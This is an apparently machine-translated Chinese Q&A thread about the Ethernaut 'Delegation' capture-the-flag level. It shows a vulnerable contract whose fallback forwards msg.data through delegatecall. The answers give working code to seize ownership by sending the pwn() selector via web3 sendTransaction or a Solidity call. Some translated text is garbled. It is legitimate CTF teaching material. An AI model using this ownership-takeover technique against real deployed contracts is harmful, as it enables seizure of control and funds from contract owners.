使用委托调用传递外部合同中的msg.data



我正在经历ethernaut ctf的挑战,我正试图通过我自己的智能合约获得这份合同的所有权,这是目标代码:

pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

我的假设是,您可以利用此代码,并通过在Delegate合约中传递对应于Delegate契约中pwn((函数的委托合约中传递msg.data来获得所有权(使用委托调用,这将允许我们获得委托合约的所有权(。我的问题是传递msg.data,我不完全确定如何正确处理,下面是我的尝试:

合同所有者攻击{

function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}

receive()external payable{ 
}

然而,转移失败,提前感谢的帮助

您已经正确地确定了这方面的方法;在调用即时合约(Delegation(时,我们必须发送目标合约(Delocate(的函数选择器。

为此,我们可以使用Web3JS或EtherJS。Ethernaut控制台支持Web3JS,所以我们将在这里继续讨论。

首先,我们必须计算pwn()函数的选择器。

const selector = web3.eth.abi.encodeFunctionSignature("pwn()")

其次,我们必须调用Delegation,但调用pwn()作为其函数。通过这种方式,会触发回退函数,然后对选择器位于事务的msg.data中的函数进行委托调用。因此,委托契约的pwn()函数被调用。

要进行调用,我们只需使用sendTransaction,如:

await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})

这应该能回答你的问题。

我认为Hasan Answer会起作用,但如果你想完全在solidity内部进行攻击,我认为你可以通过以下操作获得函数签名:

bytes4 encodedSignature = bytes4(keccak256("pwn()"));

使用keccak256进行哈希处理,然后将其强制转换为字节4,这是Solidity生成函数签名的最佳方式,因此这应该可以工作。

但经过一些研究,看起来你也可以用这个来检索它:

Delegate(0).pwn.selector

然后使用返回的值进行攻击。

以下也适用:

bytes memory selector = abi.encodeWithSignature("pwn()");
(bool success, ) = address(c).call(selector);

c是委托方调用的合同地址

如果您从合同中进行调用,则所有者将被设置为您从中调用的合同。

因此最好使用Hasan提到的sendTransaction方法。

最新更新